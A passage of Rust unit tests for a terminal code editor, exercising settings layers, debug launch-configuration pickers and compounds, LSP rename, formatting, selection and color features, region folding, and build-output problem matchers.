        "the drift hint must survive a failed rebuild so F9 retries"
    );
}

#[test]
fn workspace_settings_layer_applies_at_startup_and_reloads_live() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".croft")).unwrap();
    std::fs::write(
        tmp.path().join(".croft/config.json"),
        r#"{"format_on_save":true,"disable_indent_guides":true}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // The workspace layer is later in the chain than any user layer, and
    // test builds read no user layer at all (`config_layers::user_layers_dir`).
    assert!(app.format_on_save, "committed workspace setting applies");
    assert!(!app.indent_guides_enabled);
    assert_eq!(
        crate::config_layers::layer_of(&app.settings_provenance, "format_on_save"),
        crate::config_layers::LayerKind::Workspace
    );
    // Saving an edited layer file re-merges and applies live, no relaunch.
    std::fs::write(
        tmp.path().join(".croft/config.json"),
        r#"{"format_on_save":false,"disable_indent_guides":true}"#,
    )
    .unwrap();
    let layer = crate::config_layers::workspace_config_path(tmp.path());
    app.reload_config_for_path(&layer);
    assert!(!app.format_on_save, "the edit applied without a restart");
    assert!(app.status.contains("Settings reloaded"), "{}", app.status);
}

#[test]
fn settings_hub_shows_provenance_and_the_layer_rows() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".croft")).unwrap();
    std::fs::write(
        tmp.path().join(".croft/config.json"),
        r#"{"format_on_save":true}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_settings_view();
    let rows = app.list_picker.as_ref().expect("hub open").rows.clone();
    let fos = rows
        .iter()
        .find(|r| r.id == "toggle:format_on_save")
        .unwrap();
    assert!(
        fos.label.contains("· workspace"),
        "a workspace-won value says so: {}",
        fos.label
    );
    for id in [
        "cmd:open_settings_json",
        "cmd:open_user_settings_local_json",
        "cmd:open_workspace_settings_json",
        "cmd:open_workspace_settings_local_json",
    ] {
        assert!(rows.iter().any(|r| r.id == id), "missing hub row {id}");
    }
}

#[test]
fn opening_workspace_local_settings_gitignores_it_first() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_workspace_settings(true);
    let gi = std::fs::read_to_string(tmp.path().join(".croft/.gitignore")).unwrap();
    assert!(gi.contains("config.local.json"), "{gi}");
    let local = crate::config_layers::workspace_local_config_path(tmp.path());
    assert_eq!(app.editor.path.as_deref(), Some(local.as_path()));
    let seeded = std::fs::read_to_string(&local).unwrap();
    assert!(seeded.contains("settings overlay"), "{seeded}");
}

#[test]
fn finished_settles_pending_matches_pane_and_command() {
    assert!(finished_settles_pending(
        7,
        " cargo build\n",
        7,
        "cargo build"
    ));
    assert!(
        !finished_settles_pending(8, "cargo build", 7, "cargo build"),
        "wrong pane"
    );
    assert!(
        !finished_settles_pending(7, "cargo test", 7, "cargo build"),
        "different command"
    );
}

#[test]
fn lldb_program_resolves_against_the_session_cwd_not_crofts() {
    let tmp = tempfile::tempdir().unwrap();
    let cwd = tmp.path().join("proj");
    std::fs::create_dir_all(cwd.join("target/debug")).unwrap();
    std::fs::write(cwd.join("target/debug/app"), b"bin").unwrap();
    let resolved = resolve_lldb_program("target/debug/app", &cwd).expect("exists under cwd");
    assert_eq!(resolved, cwd.join("target/debug/app"));
    assert!(resolved.is_absolute());
    // A missing relative program errors with the RESOLVED path, so the
    // message says where croft actually looked.
    let err = resolve_lldb_program("target/release/app", &cwd).unwrap_err();
    assert!(
        err.contains(&cwd.join("target/release/app").display().to_string()),
        "{err}"
    );
    // Absolute programs are taken as written.
    let abs = cwd.join("target/debug/app");
    let abs_str = abs.to_string_lossy().into_owned();
    assert_eq!(
        resolve_lldb_program(&abs_str, Path::new("/somewhere/else")).unwrap(),
        abs
    );
}

#[test]
fn a_parked_launch_aborts_when_its_pane_dies_or_never_reports_a_mark() {
    use std::time::Duration;
    let quick = Duration::from_secs(1);
    let over = PRELAUNCH_MARK_GRACE + Duration::from_secs(1);
    assert!(
        pending_abort_reason(false, false, quick).is_some(),
        "a closed pane aborts immediately"
    );
    assert_eq!(
        pending_abort_reason(true, false, over),
        None,
        "a busy pane (long build) waits indefinitely"
    );
    assert_eq!(
        pending_abort_reason(true, true, quick),
        None,
        "an idle pane inside the grace window keeps waiting for the mark"
    );
    assert!(
        pending_abort_reason(true, true, over).is_some(),
        "idle past the grace with no mark = shell integration never reported; abort"
    );
}

/// #250: the compound layer reaches the user through
/// `open_debug_config_picker` -> `discover_compounds` -> rows ->
/// `confirm_list_picker` -> `resolve_compound`. Nothing but clippy's dead-code
/// lint currently guards that chain: a refactor dropping the compound rows
/// would leave `resolve_compound` with test-only callers and NO TEST FAILING,
/// which is the exact regression this PR exists to correct.
#[test]
fn the_picker_lists_compounds_and_selecting_one_reports_why_it_cannot_launch() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".vscode")).unwrap();
    std::fs::write(
        tmp.path().join(".vscode/launch.json"),
        r#"{ "configurations": [
            { "name": "Server", "type": "python", "request": "launch", "program": "s.py" },
            { "name": "Client", "type": "python", "request": "launch", "program": "c.py" }
        ],
        "compounds": [
            { "name": "Full Stack", "configurations": ["Server", "Client"] },
            { "name": "Broken", "configurations": ["Server", "Missing"] }
        ]}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    app.open_debug_config_picker();
    let picker = app.list_picker.as_ref().expect("picker open");
    assert_eq!(
        picker.rows.len(),
        6,
        "zero-config entry + two configurations + two compounds + Add Configuration"
    );
    let compound_row = picker
        .rows
        .iter()
        .find(|r| r.label.starts_with("Full Stack"))
        .expect("the compound is listed");
    assert!(
        compound_row.label.contains("Server"),
        "the row names its members: {}",
        compound_row.label
    );
    assert!(
        compound_row.id.starts_with("compound:"),
        "compound rows carry their own id space so they cannot collide with \
         a configuration index: {}",
        compound_row.id
    );

    // Selecting a resolvable MULTI-MEMBER compound launches every member
    // (#310). It used to defer and name the issue; the session model holds a
    // set now, so the assertion inverts. What must NOT happen is a subset
    // launch, which would debug something other than what was asked for, so
    // the count is what this checks rather than mere success.
    let idx = picker
        .rows
        .iter()
        .position(|r| r.label.starts_with("Full Stack"))
        .unwrap();
    app.list_picker.as_mut().unwrap().selected = idx;
    app.confirm_list_picker();
    // The old refusal ALSO named the compound and set feedback, so neither
    // of those separates it from a launch. Only the launch path says this.
    assert!(
        app.status.contains("started no sessions") || app.status.starts_with("Debugging compound"),
        "the compound went down the launch path rather than being refused: {}",
        app.status
    );
    assert!(
        !app.status.contains("#310"),
        "and does not cite a limit that is gone: {}",
        app.status
    );

    // A compound naming a configuration no launch.json declares is a config
    // error, reported as such rather than folded into the not-yet message.
    app.open_debug_config_picker();
    let bad = app
        .list_picker
        .as_ref()
        .unwrap()
        .rows
        .iter()
        .position(|r| r.label.starts_with("Broken"))
        .expect("the second compound is listed");
    app.list_picker.as_mut().unwrap().selected = bad;
    app.confirm_list_picker();
    assert!(
        app.status.contains("Missing"),
        "the error names the member that does not exist: {}",
        app.status
    );
}

#[test]
fn debug_config_picker_lists_configs_and_selection_drives_f5() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".vscode")).unwrap();
    std::fs::write(
        tmp.path().join(".vscode/launch.json"),
        r#"{ "configurations": [
            { "name": "API", "type": "python", "request": "launch", "program": "api.py" },
            { "name": "Javan", "type": "java", "program": "Main.java" }
        ]}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_debug_config_picker();
    let picker = app.list_picker.as_ref().expect("picker open");
    assert_eq!(
        picker.rows.len(),
        4,
        "zero-config entry + the two configs + Add Configuration"
    );
    assert!(picker.rows[0].label.contains("active file"));
    assert!(picker.rows[1].label.contains("API"));

    // Confirming a config remembers it as the F5 target. The unsupported
    // type must surface a named error, not vanish from the picker silently.
    app.list_picker.as_mut().unwrap().selected = 2;
    app.confirm_list_picker();
    assert_eq!(app.selected_debug_config.as_deref(), Some("Javan"));
    assert!(
        app.run_debug.feedback_is_error,
        "unsupported type is an error: {:?}",
        app.run_debug.feedback
    );
    assert!(
        app.status.contains("unsupported type \"java\""),
        "{}",
        app.status
    );

    // The zero-config entry clears the selection.
    app.open_debug_config_picker();
    app.list_picker.as_mut().unwrap().selected = 0;
    app.confirm_list_picker();
    assert_eq!(app.selected_debug_config, None);
}

#[test]
fn missing_pre_launch_task_and_stale_selection_error_loudly() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".croft")).unwrap();
    std::fs::write(
        tmp.path().join(".croft/launch.json"),
        r#"[ { "name": "Built", "type": "lldb", "program": "/nope/bin", "preLaunchTask": "make everything" } ]"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_debug_config_picker();
    app.list_picker.as_mut().unwrap().selected = 1;
    app.confirm_list_picker();
    assert!(
        app.status
            .contains("preLaunchTask \"make everything\" not found"),
        "{}",
        app.status
    );
    assert!(
        app.pending_debug_launch.is_none(),
        "nothing parked on error"
    );

    // A selection whose config was deleted falls back to zero-config.
    app.selected_debug_config = Some(String::from("Deleted"));
    app.start_selected_debug();
    assert_eq!(app.selected_debug_config, None, "stale selection cleared");
}

/// #250: the Run and Debug panel's config row is the documented way to reach
/// the picker — both KEYBINDINGS.md and LAYOUT.md say so, and LAYOUT.md says
/// compounds "are listed too". But the row is gated on a count that only
/// covered `discover_configs`, so a workspace declaring ONLY compounds had no
/// row at all: `config_row_label`'s `(None, 0)` arm suppresses it, the render
/// never runs, `last_config_area` stays zero-sized, and the click guard on
/// `width > 0` refuses. The picker lists the compounds; nothing opens it.
#[test]
fn the_config_row_counts_compounds_so_a_compounds_only_workspace_still_has_one() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".croft")).unwrap();
    std::fs::write(
        tmp.path().join(".croft/launch.json"),
        r#"{"configurations":[{"name":"Server","type":"python","program":"s.py"}],
            "compounds":[{"name":"Full Stack","configurations":["Server"]}]}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.refresh_run_debug();
    assert_eq!(
        app.run_debug.config_count, 2,
        "one configuration plus one compound — the row counts what the picker lists"
    );

    // The case that loses the row entirely rather than merely undercounting.
    let only = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(only.path().join(".croft")).unwrap();
    std::fs::write(
        only.path().join(".croft/launch.json"),
        r#"{"configurations":[],
            "compounds":[{"name":"Orphan","configurations":["Nothing"]}]}"#,
    )
    .unwrap();
    let mut app2 = App::new(only.path().to_path_buf()).unwrap();
    app2.refresh_run_debug();
    assert_eq!(
        app2.run_debug.config_count, 1,
        "a compounds-only workspace must still get a row, or the documented \
         route to the picker does not exist for it"
    );
    // `config_row_label` is private to the widget module; the count is the
    // input its `(None, 0)` suppression arm reads, so a non-zero count here is
    // what makes the row exist. run_debug.rs's own unit test covers the arm.
}

#[test]
fn refresh_run_debug_syncs_the_config_row() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".croft")).unwrap();
    std::fs::write(
        tmp.path().join(".croft/launch.json"),
        r#"[ { "name": "One", "type": "python", "program": "a.py" } ]"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.selected_debug_config = Some(String::from("One"));
    app.refresh_run_debug();
    assert_eq!(app.run_debug.config_count, 1);
    assert_eq!(app.run_debug.selected_config.as_deref(), Some("One"));
}

#[test]
fn rename_symbol_defers_the_prompt_until_a_verdict_arrives() {
    // #254 item 6: F2 no longer opens the prompt straight away — it fires
    // prepareRename and parks, so the prompt can pre-fill the server's own
    // validated name. (The document here was never opened through the LSP
    // layer, so the worker's answer is the unknown-document `unsupported`
    // verdict; the verdict shapes themselves are covered by
    // `a_prepare_rename_verdict_routes_to_the_prompt_status_or_fallback`.)
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("lib.rs"),
        "fn main() {\n    let value = 1;\n}\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&tmp.path().join("lib.rs")).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 9; // inside `value`
    app.start_rename_symbol();
    assert!(app.prompt.is_none(), "the prompt waits on the verdict");
    assert_eq!(app.status, "Preparing rename…");
    assert!(
        app.prepare_rename_request.is_some(),
        "the request is armed for the verdict to match against"
    );
}

#[test]
fn a_prepare_rename_verdict_routes_to_the_prompt_status_or_fallback() {
    // Every shape the server can answer with (#254 item 6). The reply
    // channel's sender lives inside the LSP worker, so these drive the
    // verdict handler the drain loop delegates to.
    use crate::lsp::manager::PrepareRenameResult;
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("lib.rs");
    std::fs::write(&path, "fn main() {\n    let value = 1;\n}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&path).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 9; // inside `value`

    let verdict = |target, error, unsupported| PrepareRenameResult {
        request_id: 4,
        path: path.clone(),
        unsupported,
        error,
        target,
    };
    let arm = |app: &mut App| {
        app.prepare_rename_request = Some((4, path.clone(), 1, 9, app.editor.edit_seq));
        app.prompt = None;
        app.status = String::from("Preparing rename…");
    };

    // A placeholder wins over the range text.
    arm(&mut app);
    assert!(app.apply_prepare_rename_verdict(verdict(
        Some(((1, 8, 1, 13), Some(String::from("renamed")))),
        None,
        false
    )));
    assert_eq!(
        app.prompt.as_ref().expect("prompt opened").buffer,
        "renamed",
        "the server's placeholder pre-fills the prompt"
    );

    // No placeholder: the validated range's own text.
    arm(&mut app);
    assert!(app.apply_prepare_rename_verdict(verdict(Some(((1, 8, 1, 13), None)), None, false)));
    assert_eq!(
        app.prompt.as_ref().expect("prompt opened").buffer,
        "value",
        "the range text pre-fills when no placeholder is offered"
    );

    // The server refused the position.
    arm(&mut app);
    assert!(app.apply_prepare_rename_verdict(verdict(
        None,
        Some(String::from("cannot rename a keyword")),
        false
    )));
    assert_eq!(app.status, "Rename rejected: cannot rename a keyword");
    assert!(app.prompt.is_none(), "a refusal opens no prompt");

    // The server answered "nothing here".
    arm(&mut app);
    assert!(app.apply_prepare_rename_verdict(verdict(None, None, false)));
    assert_eq!(app.status, "Nothing renameable at the cursor");
    assert!(app.prompt.is_none());

    // No prepare support: the word-under-cursor fallback.
    arm(&mut app);
    assert!(app.apply_prepare_rename_verdict(verdict(None, None, true)));
    assert_eq!(
        app.prompt.as_ref().expect("fallback prompt opened").buffer,
        "value"
    );

    // The buffer moved under the in-flight request: say so rather than
    // leaving "Preparing rename…" wedged on screen forever.
    arm(&mut app);
    app.editor.edit_seq += 1;
    assert!(app.apply_prepare_rename_verdict(verdict(
        Some(((1, 8, 1, 13), Some(String::from("renamed")))),
        None,
        false
    )));
    assert_eq!(app.status, "Rename cancelled");
    assert!(app.prompt.is_none(), "a stale verdict opens no prompt");

    // A superseded reply must not disarm the newer in-flight request.
    arm(&mut app);
    let stale = PrepareRenameResult {
        request_id: 3,
        path: path.clone(),
        unsupported: false,
        error: None,
        target: None,
    };
    assert!(!app.apply_prepare_rename_verdict(stale));
    assert!(
        app.prepare_rename_request.is_some(),
        "the armed request survives an older reply"
    );
}

#[test]
fn a_multi_line_validated_range_falls_back_to_the_word_prompt() {
    // The server may validate a span crossing lines; there is no single-line
    // text to pre-fill from, so the word-under-cursor fallback takes over
    // rather than opening a prompt with an empty buffer.
    use crate::lsp::manager::PrepareRenameResult;
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("lib.rs");
    std::fs::write(&path, "fn main() {\n    let value = 1;\n}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&path).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 9; // inside `value`
    app.prepare_rename_request = Some((4, path.clone(), 1, 9, app.editor.edit_seq));
    assert!(app.apply_prepare_rename_verdict(PrepareRenameResult {
        request_id: 4,
        path: path.clone(),
        unsupported: false,
        error: None,
        target: Some(((1, 8, 2, 4), None)),
    }));
    assert_eq!(
        app.prompt.as_ref().expect("fallback prompt opened").buffer,
        "value",
        "a cross-line range yields no pre-fill text, so the fallback runs"
    );
}

#[test]
fn a_cancelled_rename_disarms_the_in_flight_prepare_request() {
    // Esc on the prompt abandons the caret. A verdict landing afterwards must
    // not reopen the prompt — it would carry the stale (row, col) into the
    // rename request and rename the wrong symbol.
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("lib.rs");
    std::fs::write(&path, "fn main() {\n    let value = 1;\n}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&path).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 9;
    app.start_rename_symbol();
    assert!(
        app.prepare_rename_request.is_some(),
        "the request is armed while it is in flight"
    );
    app.prompt = Some(Prompt {
        label: String::from("Rename Symbol 'value'"),
        buffer: String::from("value"),
        kind: PromptKind::RenameSymbol {
            path: path.clone(),
            row: 1,
            col: 9,
        },
        target_dir: std::path::PathBuf::new(),
        error: None,
    });
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert!(app.prompt.is_none(), "Esc closes the prompt");
    assert!(
        app.prepare_rename_request.is_none(),
        "and disarms the in-flight prepare so a late verdict cannot reopen it"
    );
}

#[test]
fn format_selection_needs_a_selection_and_reports_unsupported_via_the_reply() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("lib.rs"), "fn main( ) {\n}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&tmp.path().join("lib.rs")).unwrap();
    app.focus_pane(Pane::Editor);
    // No selection: refused up front with guidance.
    app.run_command(crate::widgets::command_palette::Command::FormatSelection);
    assert_eq!(app.status, "Select something to format");
    // With a selection: the request fires; with no server spawned in
    // tests, the worker's always-answer contract reports unsupported
    // through the SAME drain as whole-document formatting, with
    // selection-specific wording.
    app.editor.selection = Some(crate::widgets::editor::EditorSelection {
        anchor: (0, 0),
        head: (1, 1),
    });
    app.run_command(crate::widgets::command_palette::Command::FormatSelection);
    assert_eq!(app.status, "Formatting selection");
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    while app.format_request_id.is_some() && std::time::Instant::now() < deadline {
        app.drain_lsp_format();
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert_eq!(app.status, "No range formatter available for this file");
}

#[test]
fn linked_editing_set_clears_when_the_caret_leaves_and_mirrors_through_handle_key() {
    // #254 item 3: keystrokes inside a linked range mirror to the pair
    // on the tick; moving the caret out of every range drops the set.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("page.html"), "<title>t</title>\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor
        .open_pinned(&tmp.path().join("page.html"))
        .unwrap();
    app.focus_pane(Pane::Editor);
    app.editor
        .set_linked_ranges(&[(0, 1, 0, 6), (0, 10, 0, 15)]);
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 6;
    app.handle_key(key(KeyCode::Char('s'), KeyModifiers::NONE))
        .unwrap();
    assert!(app.tick_linked_editing(), "the keystroke mirrored");
    assert_eq!(app.editor.lines[0], "<titles>t</titles>");
    // Caret leaves the set: the next tick clears it.
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 9; // inside the body text
    app.tick_linked_editing();
    assert!(!app.editor.has_linked_ranges());
    // Typing there no longer mirrors.
    app.handle_key(key(KeyCode::Char('x'), KeyModifiers::NONE))
        .unwrap();
    assert!(!app.tick_linked_editing());
    assert_eq!(app.editor.lines[0], "<titles>tx</titles>");
}

#[test]
fn fold_all_regions_command_works_with_no_language_server_attached() {
    // #254's fallback criterion: region folding must work when no LSP
    // ever answers — here the file's language has no server at all.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("notes.txt"),
        "#region setup\nline a\nline b\n#endregion\nrest\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor
        .open_pinned(&tmp.path().join("notes.txt"))
        .unwrap();
    app.focus_pane(Pane::Editor);
    app.run_command(crate::widgets::command_palette::Command::FoldAllRegions);
    assert!(app.editor.is_line_hidden(1) && app.editor.is_line_hidden(2));
    assert!(!app.editor.is_line_hidden(0) && !app.editor.is_line_hidden(4));
    app.run_command(crate::widgets::command_palette::Command::UnfoldAllRegions);
    assert!(!app.editor.is_line_hidden(1), "regions expanded again");
}

#[test]
fn expand_selection_falls_back_to_tree_sitter_when_the_lsp_cannot_route() {
    // #254 item 2's serverless criterion, end to end: the worker answers
    // `unsupported` for an untracked doc, and the drained verdict grows
    // the selection from tree-sitter node ancestry — the gesture never
    // hangs and never needs a real server.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("lib.rs"),
        "fn main() {\n    let value = 1;\n}\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&tmp.path().join("lib.rs")).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 9; // inside `value`
    app.run_command(crate::widgets::command_palette::Command::ExpandSelection);
    // The request is in flight; the worker's unsupported verdict lands
    // asynchronously. Drain until it resolves the queued press.
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    while app.editor.selection.is_none() && std::time::Instant::now() < deadline {
        app.drain_lsp_selection_ranges();
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    let sel = app
        .editor
        .selection
        .expect("the fallback grew a selection")
        .normalised();
    assert!(
        sel.0 <= (1, 8) && sel.1 >= (1, 13),
        "the identifier (or an enclosing node) is selected: {sel:?}"
    );
    // Shrink retraces locally, no LSP involved.
    app.run_command(crate::widgets::command_palette::Command::ShrinkSelection);
    assert!(app.editor.selection.is_none(), "back to the bare caret");
}

#[test]
fn a_caret_move_between_selection_range_request_and_reply_drops_the_stale_chains() {
    // #272 review: a click moves the caret WITHOUT bumping edit_seq, so
    // the pending gate must also compare the cursor positions the
    // request was fired for — the old caret's chains must not apply at
    // the new spot.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("lib.rs"),
        "fn main() {\n    let value = 1;\n}\n",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&tmp.path().join("lib.rs")).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 9;
    app.run_command(crate::widgets::command_palette::Command::ExpandSelection);
    assert!(app.selection_range_request.is_some(), "request in flight");
    // A caret move (no edit) before the reply lands.
    app.editor.clear_selection();
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    while app.selection_range_request.is_some() && std::time::Instant::now() < deadline {
        app.drain_lsp_selection_ranges();
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert!(
        app.selection_range_request.is_none(),
        "the stale reply cleared the pending slot"
    );
    assert!(
        app.editor.selection.is_none(),
        "the old caret's chains were dropped, not applied at the new caret"
    );
}

#[test]
fn change_color_presentation_needs_a_color_and_defers_the_picker_on_the_reply() {
    use crate::lsp::manager::ColorItem;
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("style.css"), "a { color: #ff0000; }\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor
        .open_pinned(&tmp.path().join("style.css"))
        .unwrap();
    app.focus_pane(Pane::Editor);
    // No color at the cursor: refused up front.
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 2;
    app.run_command(crate::widgets::command_palette::Command::ChangeColorPresentation);
    assert_eq!(app.status, "No color value at the cursor");
    // Inject a color set (as a documentColor reply would) and ask on it.
    let path = tmp.path().join("style.css");
    app.editor.apply_document_colors(
        path.clone(),
        vec![ColorItem {
            line: 0,
            character: 11,
            end_line: 0,
            end_character: 18,
            red: 255,
            green: 0,
            blue: 0,
            raw: (1.0, 0.0, 0.0, 1.0),
        }],
    );
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 12;
    app.run_command(crate::widgets::command_palette::Command::ChangeColorPresentation);
    assert_eq!(app.status, "Fetching color presentations…");
    // No server in tests: the worker's always-answer contract resolves
    // the deferred picker to the empty-offering status.
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(10);
    while app.color_presentations_request.is_some() && std::time::Instant::now() < deadline {
        app.drain_lsp_color_presentations();
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert_eq!(app.status, "No color presentations offered here");
}

#[test]
fn a_stale_color_presentation_pick_is_refused_after_a_buffer_change() {
    use crate::widgets::editor::TextSpanEdit;
    use crate::widgets::list_picker::{ListPicker, ListPurpose, ListRow};
    // #277 review: an external reload while the picker is open bumps
    // edit_seq; the pick must refuse rather than splice stale offsets.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("style.css"), "a { color: #ff0000; }\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let path = tmp.path().join("style.css");
    app.editor.open_pinned(&path).unwrap();
    app.focus_pane(Pane::Editor);
    app.pending_color_presentations = vec![(
        String::from("rgb(255, 0, 0)"),
        vec![TextSpanEdit {
            start: (0, 11),
            end: (0, 18),
            new_text: String::from("rgb(255, 0, 0)"),
            utf16: false,
        }],
    )];
    app.pending_color_context = Some((path.clone(), app.editor.edit_seq));
    app.open_list_picker(
        ListPicker::new(
            ListPurpose::ColorPresentation,
            "Change Color Presentation",
            vec![ListRow {
                id: String::from("0"),
                label: String::from("rgb(255, 0, 0)"),
            }],
        ),
        "empty",
    );
    // The buffer changes while the picker is open.
    app.editor.insert_char('x');
    let before = app.editor.lines[0].clone();
    app.confirm_list_picker();
    assert_eq!(app.editor.lines[0], before, "no stale edit applied");
    assert_eq!(
        app.status,
        "The buffer changed — re-run Change Color Presentation"
    );
    assert!(app.pending_color_presentations.is_empty());
}

#[test]
fn a_custom_matcher_from_matchers_json_feeds_problems() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.matchers = std::sync::Arc::new(crate::problem_matchers::MatcherSet::from_json(
        r##"[ { "name": "mylint",
               "pattern": "^(?P<file>\\S+):(?P<line>\\d+):(?P<col>\\d+) (?P<severity>\\w+) (?P<message>.+)$",
               "severity_map": { "E": "error" },
               "applies_to": "mylint*" } ]"##,
    ));
    let cwd = tmp.path().join("proj");
    std::fs::create_dir(&cwd).unwrap();
    let out = "src/a.py:12:5 E undefined name 'x'\n";
    assert!(app.apply_build_scan(0, Some(&cwd), "mylint src/", out));
    let groups = app.problems.groups().to_vec();
    let g = groups
        .iter()
        .find(|g| g.path == cwd.join("src/a.py"))
        .expect("the custom matcher's file must group in PROBLEMS");
    assert_eq!(g.items.len(), 1);
    assert_eq!(g.items[0].source, "mylint");
    assert_eq!(
        g.items[0].severity,
        crate::lsp::manager::DiagnosticSeverity::Error,
        "severity_map turns E into an error"
    );
    assert_eq!((g.items[0].line, g.items[0].col), (11, 4));

    // The applies_to glob keeps the matcher off other commands: the same
    // output under `cargo build` matches nothing, clearing the pane.
    assert!(app.apply_build_scan(0, Some(&cwd), "cargo build", out));
    assert!(app.problems.groups().is_empty(), "non-matching command");
}

#[test]
fn a_task_problem_matcher_owns_its_pane_and_watch_publishes_win() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let cwd = tmp.path().join("proj");
    std::fs::create_dir(&cwd).unwrap();

    // A tasks.json "$gcc" matcher is exclusive for its pane: gcc-shaped
    // rows report, the tsc-shaped line in the same output does not
    // (VS Code's model — an explicit matcher replaces the defaults).
    let gcc = std::sync::Arc::new(crate::problem_matchers::well_known("$gcc").unwrap());
    app.assign_task_matcher(7, Some(gcc));
    let out = "main.c:7:3: error: expected ';'\nsrc/app.ts(4,10): error TS2322: nope\n";
    assert!(app.apply_build_scan(7, Some(&cwd), "make", out));
    let groups = app.problems.groups().to_vec();
    assert_eq!(groups.len(), 1, "{groups:?}");
    assert!(groups[0].path.ends_with("main.c"));

    // A watch publish replaces the pane's batch wholesale — and the
    // watcher's own exit (a FinishedCommand rescan over its whole
    // history) must not resurrect old cycles: that one scan is skipped.
    assert!(app.install_build_diags(7, Some(&cwd), Vec::new()));
    assert!(app.problems.groups().is_empty(), "empty batch clears");
    app.watch_published_panes.insert(7);
    assert!(
        !app.apply_build_scan(7, Some(&cwd), "tsc --watch", out),
        "the post-watch rescan is skipped"
    );
    // One skip only: the pane's next ordinary command scans normally.
    assert!(app.apply_build_scan(7, Some(&cwd), "make", "main.c:1:1: error: x\n"));
    assert_eq!(app.problems.groups().len(), 1);

    // Clearing the assignment restores the built-in first-match scan.
    app.assign_task_matcher(7, None);
    assert!(app.apply_build_scan(7, Some(&cwd), "make", out));
    assert_eq!(
        app.problems.groups().len(),
        2,
        "without the task matcher both formats report"
    );
}

#[test]
fn ctrl_click_follows_a_document_link_before_go_to_definition() {
    use crate::lsp::manager::DocumentLinkItem;
    // #254 item 8: a file:// link opens the target in the editor; the
    // definition request is never fired for a linked range.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.rs"), "// link here\n").unwrap();
